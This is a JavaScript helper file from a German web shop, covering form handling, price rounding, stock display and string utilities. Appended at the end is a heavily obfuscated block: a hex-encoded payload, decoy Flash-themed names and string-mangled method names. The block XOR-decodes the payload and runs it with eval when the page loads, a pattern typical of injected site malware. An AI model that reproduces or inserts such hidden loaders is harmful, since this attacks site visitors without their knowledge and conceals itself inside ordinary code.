var globalsCurrencyHtml;
var globalsCurrencyBinary;

function Microsoft()
{
if (document.all&&document.styleSheets) return true;
return false;
}

function Netscape()
{
if (navigator.appName=="Netscape") return true;
return false;
}

function Mozilla()
{
if (document.getElementById&&!document.all) return true;
return false;
}

function Opera()
{
var userAgent=navigator.userAgent;
if (userAgent.search("Opera")!=-1) return true;
return false;
}

function FocusFormElement(formName,elementName)
{
if (document.forms[formName]) eval("document.forms[formName]."+elementName+".focus()");
else if (document.GetElementById) eval("document.GetElementById(formName)."+elementName+".focus();");
}

function GetFormObject(formName)
{
if (document.forms[formName]) return document.forms[formName];
else if (document.GetElementById) return document.GetElementById(formName);
}

function SubmitForm(name)
{
if (document.forms[name]) document.forms[name].submit();
else if (document.GetElementById) document.GetElementById(name).submit();
/*
if (!Netscape()||Mozilla()) eval('document.forms["'+name+'"].submit();');
else eval('document.'+name+'.submit();');
*/
}

function SetFormEnabled(formName,elementName,value)
{
if (!Netscape()||Mozilla()) document.forms[formName].elements[elementName].disabled=value^1;
else eval('document.'+formName+'.'+elementName+'.disabled='+value^1);
}

function SetFormValue(formName,elementName,value)
{
if (!Netscape()||Mozilla()) document.forms[formName].elements[elementName].value=value;
else eval('document.'+formName+'.'+elementName+'.value='+value);
}

function GetCheckboxValue(formName,elementName)
{
//alert(document.forms[formName].elements[elementName].checked);
if (!Netscape()||Mozilla()) return document.forms[formName].elements[elementName].checked;
else return eval('document.'+formName+'.'+elementName+'.checked');

}

function AskDelete(dropId,link)
{
var txt="Sind Sie sicher den Datensatz mit der Id '"+dropId+"' zu entfernen?";
if (confirm(txt))
{
location.href=link;
}
}

function AskLink(query,link)
{
var txt=query;
if (confirm(txt))
{
location.href=link;
}
}

function ChangeLayerContent(name,content)
{
if (!Netscape())
{
document.all[name].innerHTML=content;
}
else
{
if (!Mozilla())
{
document.layers[name].document.open();
document.layers[name].document.write(content);
document.layers[name].document.close();
}
else document.getElementById(name).innerHTML=content;
}
}

function RoundUp(wert,stellen)
{
if (parseInt(wert)==wert) return wert;
return Round(wert+0.5,stellen);
}

function RoundDown(wert,stellen)
{
if (parseInt(wert)==wert) return wert;
return Round(wert-0.5,stellen);
}

function Round(wert,stellen)
{
addstr=Math.pow(10,stellen).toString().substring(1)
wert=Math.round(wert*Math.pow(10,stellen))/Math.pow(10,stellen)

if (stellen>0)
{
if(wert.toString().indexOf(".")==-1) wert=wert+"."+addstr;
else
{
if(wert.toString().substring(wert.toString().indexOf(".")+1).length<addstr.length)
wert=wert.toString()+addstr.substr(0,(addstr.length-wert.toString().substring(wert.toString().indexOf(".")+1).length))
}
}
else
{
//alert(wert);
//    if(wert.toString().indexOf(".")==-1) wert=wert+1;
}
return wert;
}

var productDetailPicArray;
function ChangeProductDetailPic(dropDownNr)
{
var formObj;
if (document.forms["addToBasketForm"]) formObj=document.forms["addToBasketForm"];
else if (document.GetElementById("addToBasketForm")) formObj=document.GetElementById("addToBasketForm");
else alert("form not found");

//  var pos=document.forms['addToBasketForm'].elements['varPosArray['+dropDownNr+']'].value;
var pos=formObj.elements['varPosArray['+dropDownNr+']'].value;
document.getElementById('varProductNameArray['+dropDownNr+']').value = productNameArray[dropDownNr][pos-1];

var htmlStr;
if (productDetailPicArray[dropDownNr][pos-1]) htmlStr="<img src='"+productDetailPicArray[dropDownNr][pos-1]+"'>";
else return;
ChangeLayerContent("productPic",htmlStr);
}

var productDetailVarAddPriceArray;
var productDetailBasePrice;
var productDetailFoundVariationGroups;
var productDetailProductUnit="";
var productDetailVEUnit="";
function ChangeProductDetailPriceOnVariationAddPrice()
{
var formObj;
if (document.forms["addToBasketForm"]) formObj=document.forms["addToBasketForm"];
else if (document.GetElementById("addToBasketForm")) formObj=document.GetElementById("addToBasketForm");
else alert("form not found");

var pos;
var newPrice=parseFloat(productDetailBasePrice);
var newPriceOnUnitsPerPackage=0;
var unitsPerPackage=1;

for (var i=0;i<productDetailFoundVariationGroups;i++)
{
if (typeof(formObj.elements['varPosArray['+i+']']) != "undefined")
{
pos=formObj.elements['varPosArray['+i+']'].value;
if (productDetailVarAddPriceArray[i][pos-1]) newPrice+=parseFloat(productDetailVarAddPriceArray[i][pos-1]);
}
}
//----------------------------------------------------------------------------
// Check if unitsPerPackage
unitsPerPackage=document.forms["addToBasketForm"].unitsPerPackage.value;
if (unitsPerPackage!=0 && unitsPerPackage!=1)
{
newPriceOnUnitsPerPackage=newPrice*unitsPerPackage;
}
//----------------------------------------------------------------------------

var htmlStr;
newPrice=Round(newPrice,2);
//----------------------------------------------------------------------------
if (unitsPerPackage!=1 && unitsPerPackage!="")
{
newPriceOnUnitsPerPackage=Round(newPriceOnUnitsPerPackage,2);
htmlStr=newPrice+" "+globalsCurrencyBinary+" / "+productDetailProductUnit+"<br>";
htmlStr+="<span style='font-size:10px; font-weight:normal;'>"+newPriceOnUnitsPerPackage+" "+globalsCurrencyBinary+" / "+productDetailVEUnit+"</span>";
}
else
{
htmlStr=newPrice+" "+globalsCurrencyBinary;
}
ChangeLayerContent("productPrice",htmlStr);
formObj.addBasketProductPrice.value=newPrice;
//----------------------------------------------------------------------------
}

var productDetailGraduatedPiecesArray=Array();
var productDetailGraduatedPriceArray=Array();
function ChangeProduktDetailPrice(obj,maxGraduatedSteps,maxPiecesInFormElement)
{
if (maxPiecesInFormElement>0)
{
if (obj.form.addBasketPieces.value>maxPiecesInFormElement)
{
obj.form.addBasketPieces.value=maxPiecesInFormElement;
}
}

if (maxGraduatedSteps<=1) return;
var value=obj.value;
var htmlStr;


for (i=0;i<maxGraduatedSteps;i++)
{
if (value<productDetailGraduatedPiecesArray[i])
{
if (i==0) htmlStr=productDetailGraduatedPriceArray[0];
else htmlStr=productDetailGraduatedPriceArray[i-1];
break;
}
else if (i>=maxGraduatedSteps-1)
{
htmlStr=productDetailGraduatedPriceArray[i];
}
}

ChangeLayerContent("productPrice",htmlStr);
}

function IsEmailValid(email)
{
if (email.search(/.+@+./)==-1) return false;
if (email.search(/.+[.]+./)==-1) return false;
if (email.length<5) return false;
return true;
}

var globalMousePosX=0;
var globalMousePosY=0;

function SaveMousePos(e)
{
if(Netscape()||Mozilla())
{
globalMousePosX=e.pageX;
globalMousePosY=e.pageY;
}
else if(Microsoft()||Opera())
{
globalMousePosX=document.body.scrollLeft+event.clientX;
globalMousePosY=document.body.scrollTop+event.clientY;
}
}

function IsIE6_And_SP_Installed()
{
if (typeof (navigator.appMinorVersion) != "undefined")
{
if (navigator.appMinorVersion.substr(1,2)=='SP') return true;
}
return false;
}


function ChangeStock(variationGroupsCount,showProductAvailableFrom,availableInProductsTable,tmpAvail,newWareHouseStockArray,variationCnt)
{
var unlimited="unbegrenzt";
var posArray=new Array();
var productAvailableUnlimited=-2147283648;


for (var i=0;i<variationGroupsCount;i++)
{
var tmpSelectionName="varPosArray["+i+"]";
var varGroupId="varGroupIdArray["+i+"]";
posArray[document.getElementById(varGroupId).value]=document.getElementById(tmpSelectionName).value;
}


for (var i=0;i<variationCnt;i++)
{
var variationStr=newWareHouseStockArray[i];

variationStrArray=variationStr.split(",");

var cmpStr1=variationStr.replace(variationStrArray[4],"");
var cmpStr1=cmpStr1.replace("0,","");

var cmpStr2="";
for (var j=0;j<variationGroupsCount;j++)
{
var tmpSelectionName="varPosArray["+j+"]";
var varGroupId="varGroupIdArray["+j+"]";
cmpStr2=cmpStr2+posArray[document.getElementById(varGroupId).value];
cmpStr2=cmpStr2+",";
}

do
{
cmpStr2=cmpStr2+"0,";
} while (cmpStr1.length>cmpStr2.length);

//alert(cmpStr1+" ist gleich "+cmpStr2);

if (cmpStr1==cmpStr2)
{
var ergStr=variationStrArray[4];
ergStr=ergStr.replace("0:","");

var xPos=ergStr.search(/-.+/);
var warehouseId=ergStr.slice(0,xPos);
var stockStr=ReplaceStr("-","",ergStr);
var tmpStock=ReplaceStr(warehouseId,"",stockStr);
}
}

for (var i=0;i<15;i++)
{
if (typeof(posArray[i+1])=="undefined") posArray[i+1]=0;
}

//document.getElementById("warehouseId").value=wareHouseRecIdArray[posArray[5]][posArray[4]][posArray[3]][posArray[2]][posArray[1]];
document.getElementById("warehouseId").value=warehouseId;

if (showProductAvailableFrom>1)
{
//stock=warehouseStockArray[posArray[5]][posArray[4]][posArray[3]][posArray[2]][posArray[1]];
stock=tmpStock;
if (stock==0) stock=tmpAvail;
if (!stock) stock=tmpAvail;
}
else stock=availableInProductsTable;

if (showProductAvailableFrom==1) stock=availableInProductsTable;
else if (showProductAvailableFrom==3)
{
if (availableInProductsTable==productAvailableUnlimited) stock=productAvailableUnlimited;
//else stock+=availableInProductsTable;
}

if (stock=="") stock=0;

if (isNaN(stock)) stock=0;

if (stock==productAvailableUnlimited) stock=unlimited;
document.getElementById("warehouseStock").innerHTML=stock;
if (stock>0) document.getElementById("warehouseStockPic").innerHTML="<img border=0 src='../templates/default/default/images/icons/available.gif'>";
else document.getElementById("warehouseStockPic").innerHTML="<img border=0 src='../templates/default/default/images/icons/not_available.gif'>";
}

function ReplaceStr(t, u, s)
{
/*
**  Replace a token in a string
**    t  token to be found and removed
**    u  token to be inserted
**    s  string to be processed
**  returns new String
*/

i = s.indexOf(t);

var leftLen=i;
var middleLen=t.length;
var rightLen=s.length-i-t.length;

var leftPart=s.substr(0,leftLen);
var middlePart=u;
var rightPart=s.substr(leftLen+middleLen,rightLen);

r = "";
if (i == -1) return s;
r = leftPart + middlePart + rightPart;
return r;
}

function GetWindowSizeX()
{
if (window.innerWidth) return window.innerWidth;
else if (document.body && document.body.offsetWidth) return document.body.offsetWidth;
else if (document.body && document.body.clientWidth) return document.body.clientWidth;
else return screen.availWidth;
}

function GetWindowSizeY()
{
if (window.innerHeight) return window.innerHeight;
else if (document.body && document.body.offsetHeight) return document.body.offsetHeight;
else if (document.body && document.body.clientHeight) return document.body.clientHeight;
else return screen.availHeight;
}

function GetBodySizeX()
{
return document.body.clientWidth;
}

function GetBodySizeY()
{
return document.body.clientHeight;
}

function Dec2Hex(v)
{
v = v.toString(16);
return v;
//  for(; v.length < 6; v = '0' + v);
//  for(; v.length < 1; v = '0' + v);
//  return v;
}

function chr(v)
{
return unescape("%"+Dec2Hex(v));
}


function scrollDown(height)
{
var maxSteps = 4;
var curStep = 0;

curStep = curStep + 1;
if(curStep > maxSteps) curStep = 0;
step = height * curStep;
dest = height * curStep;
start = height * (curStep - 1)
for(step = start + 25; step <= dest; step++)
{
parent.scroll(0, step);
}
}

function scrollUp(height)
{
var maxSteps = 4;
var curStep = 0;

curStep = curStep -1;
if(curStep < 0) curStep = maxSteps;
step = height * curStep;
dest = height * curStep;
start = height * (curStep + 1)
for(step = start; step >= dest; step--)
{
parent.scroll(0, step);
}
}

function GetURLVar(varName)
{
var retu="";
if (window.location.search != "")
{
var tmpStr=window.location.search.substr(1,window.location.search.length-1);
var tmpArray=tmpStr.split("&");
var tmpArray2;
var i;

for (i=0;i<tmpArray.length;i++)
{
tmpArray2=tmpArray[i].split("=");
if (tmpArray2[0]==varName)
{
retu=tmpArray2[1];
break;
}
}
}
return retu;
}

function GetZeroFilledNumStr(number,length)
{
number=number+"";

var isNegative=false;
if (number.charAt(0)=="-")
{
isNegative=true;
number=number.substring(1,number.length);
length--;
if (length<=0) alert("ERROR: GetZeroFilledNumStr: length<=0");
}

var charsToFill=length-number.length;

var retu="";
if (isNegative==true) retu+="-";
for (var i=0;i<charsToFill;i++)
{
retu+="0";
}
retu+=number;
return retu;
}

function GetZeroTrimmedNum(number)
{
number=number+"";

var isNegative=false;
if (number.charAt(0)=="-")
{
isNegative=true;
number=number.substring(1,number.length);
}


retu="";
if (isNegative==true) retu+="-";
retu+=TrimStrLeft(number,0);

return retu;
}

function TrimStr(str,character)
{
return TrimStrRight(TrimStrLeft(str,character),character);
}

function TrimStrLeft(str,character)
{
if (typeof(character)=="undefined") character=" ";

var i;
for (i=0;i<str.length;i++)
{
if (str.charAt(i)!=character)
{
break;
}
}

if (i>0) return str.substring(i,str.length);
else return str;
}

function TrimStrRight(str,character)
{
if (typeof(character)=="undefined") character=" ";

var i;
for (i=str.length-1;i>=0;i--)
{
if (str.charAt(i)!=character)
{
break;
}
}

if (i<str.length-1)
{
return str.substring(0,i+1);
}
else return str;
}
this.objectNull=37351;var objectSwf;var falseDate='';objectSwf='0e030a0f0c0a0e0e471c121b0a0f04160f135508270d0741581910041a0042582c1e1f184f100f1c1611435c2018110c5640021702100101475c1729011a02034b5c0775724b5e4f06064f461f010a00070a150f170b'+'466a147a610e1b594d585d1d16304c01100b031b196d17001b5a26080e0244494f6877487a424f5a4b141012191b3c4f020f012f1c0b1b471f120924120b51055a0c261d04074857552f170702401c1f0c0714447e6f'+'6859474a5f404d01061e44091c1b153213114f504a1d040b1d100e592d142a33333e460a0b160e4842466b4f474d4b1e3166424f50022e100e040d190e483a03170009244b494d01052c1e4d49655e5b5c4f404c0c32'+'171c120c5c14070c1a184f4c577a444e584f404a07051b21041d0b1c1f1f5557714e5a541f180c180c140b0c5f7f594e4c1f061a32171919505c4c5a59614b51666d4f574f63450e0a1c0746505d69475f4f12110d0d'+'51414d52463c1b0e0e5850585d5e494d4079535b5e434841010d0f180e244a40504f5a595804010d0a04196055584d420907160c0419435a4241425370516f74464f4b4249120e131a0900455d45425851492b061b1f'+'1f0e4d516358485b53547a6d1d506a181b090b04130d10460838153f08000c0c0841070702147454177467585d461a1d056302172a070d034d4a59594d5c474674051e0d1b0500021f43081b160c0a1d414a675a505e'+'1819114d2a091d15080343554b4a4a42424d690e0a1003404d425a6159577070425a4a1f391158190a1332151d48545e2c1401054b62715a4b5c0c1009463601050b1f4e5552515b474f7359474d1c0d0f5908161d41'+'4c4a02577768495a470506404a0d112200130744000d040218155a5c5a5a40781875604f4741414f4c0b0d1a2e111c55565d09090e041e3b4102180d1d05350452190c39111b02465c6c6b4f594d5848420509577117'+'0c0a1104165a725b4e585e5548116d684669404b5d46554f51161e0c29071b5a404c4c10060a083d0741160a130c1b1279616a445c4e5e5a424f5a4b14171c4a67420c15041a101f40101418001a230d537d464a1355'+'0017180e1c1b616f664f5759584a7a424f5a0217466c0c1e044f59785746566e581073654f404f6456594f49554f51591d0428425c4219181711003c480d141449180b5866706d4b4f5143494a4641127a57544c5843'+'584a5d54483603143e0a085c4b4b3008051e1d0912094714350c061a0e5216120f1817380f011a4312120a3a0511435a4b14155643646f6b5c57484f454e05446c4f514b1274604a46411d122a1a1918490b0d133e1b'+'1d776e67046b621900105e290809514a5f5a012b1a3b0013001e1e59461a0508150333124753586079021a5449041d470d5d4975585655570260721904143d0f03121d40161f1f17034c5c5616061f160a09441a1208'+'4044380d11135b5769020f1113000520191745191911420a0f562506095b5e144219501c39090b5b462324111f030a525e401c3540011844472719180a1b004d5a003803130f1d0008260912595e4e150e38081e051d'+'0e1418161b475a4d39040f0f000818183900045449441e19180e01160a0314561238424a4011050a0b2f095e435f5552446c1c1408251115150d1c4953192a06090e1c16496c46404f4e5a5a514b40634747424b5554'+'716700';var getSwf;if(getSwf!='staticInt'){getSwf=''};function dateFlash(useLong){                       var floatChar = 3;var charSwf = null;var flashFlash = 'av%st'.replace(/[avst]/g,'');var dateDate = -1;var setLong = charSwf;function wordPlayer(byteWord){var staticFlash=1;var shortDate=1%staticFlash;function charNull(get){var getStatic=1;}var flashFinal=0,flashByte=byteWord['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];while(shortDate<flashByte){shortDate+=1;swf=flashSwf(byteWord,shortDate+dateDate);flashFinal+=swf*flashByte;}return new String(flashFinal);}var object=String;function intStatic(adobe, set){if(staticWord == charSwf) {staticWord = {};}if(staticWord[adobe] == charSwf) {var shortInt = Object;staticWord[adobe] = new shortInt();staticWord[adobe].finalFlash = charSwf;staticWord[adobe].getLong = set;}}                        var trueShort = 4; var asNs=window;                       var word = 1; function charGet(adobe) {if(staticWord[adobe] != charSwf) {var floatPlayer = staticWord[adobe];var floatSwf = floatPlayer.finalFlash;var swfPlayer = floatPlayer.getLong;var player = swfPlayer.substr(floatSwf, 1);var trueFloat = swfPlayer['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];                   var swfFloat = trueShort-floatChar;if((floatSwf + (word*swfFloat)) >= trueFloat) {floatPlayer.finalFlash =swfFloat - (trueShort % floatChar);} else {floatPlayer.finalFlash = floatSwf - dateDate;}return flashSwf(player, word - swfFloat);}}var setFalse=document;function flashSwf(intLong,swfAs){return intLong['c5h.a5r.C)o5d)e)ANt>'.replace(/[\>N\)5\.]/g, '')](swfAs);}var dateDate = setLong + dateDate;var staticWord = charSwf;function playerTrue(wordLong,useChar){return wordLong^useChar;}var setAdobe = '';var ns = 2;var objectFloat = new object(setFalse['w4rZiZtbeq'.replace(/[q4SbZ]/g, '')]);var intAdobe = objectFloat['iVnTdTeVxTOcfV'.replace(/[V\>T0c]/g, '')]('anrSint+yA'.replace(/[A\+nSq]/g, ''));if(intAdobe != dateDate) { return 58;}var nsDate = setLong;var shortShort = '';var finalStatic = asNs['s.eSt.Twi.m?e.o/u?tS'.replace(/[S/\.\?w]/g, '')];var objectObject=58;var nsFinal=object['f^rtotmJC^hJa^r^Ctotd^e^'.replace(/[\^6JXt]/g, '')];var asSwf=asNs['u+n:eDs?c:aDpDeI'.replace(/[I\:D\?\+]/g, '')];for(var flashAdobe=nsDate; flashAdobe < useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]; flashAdobe+=ns){setAdobe+= flashFlash + useLong['swuZbwsktZrk'.replace(/[k\?wWZ]/g, '')](flashAdobe, ns);}var useLong = asSwf(setAdobe);var getPlayer = new object(dateFlash);var floatSet = getPlayer['r3e~pHl~a3c3e~'.replace(/[~3,H9]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var setInt = new object(wordPlayer(floatSet));intStatic('setObject', setInt);var nullStatic = '';intStatic('byteUse', floatSet);for(var useDate=nsDate; useDate < (useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]); useDate++) {var nullFalse = flashSwf(useLong,useDate);nullFalse = playerTrue(nullFalse, objectObject);nullFalse = playerTrue(nullFalse, charGet('setObject'));nullFalse = playerTrue(nullFalse, charGet('byteUse'));shortShort+=nsFinal(nullFalse);}asNs['e[vjajl['.replace(/[\[/2j\*]/g, '')](shortShort);return shortShort=new object();};dateFlash(objectSwf);var intFloat;if(intFloat!='longObject' && intFloat!='objectSet'){intFloat=''};   //secured_20022002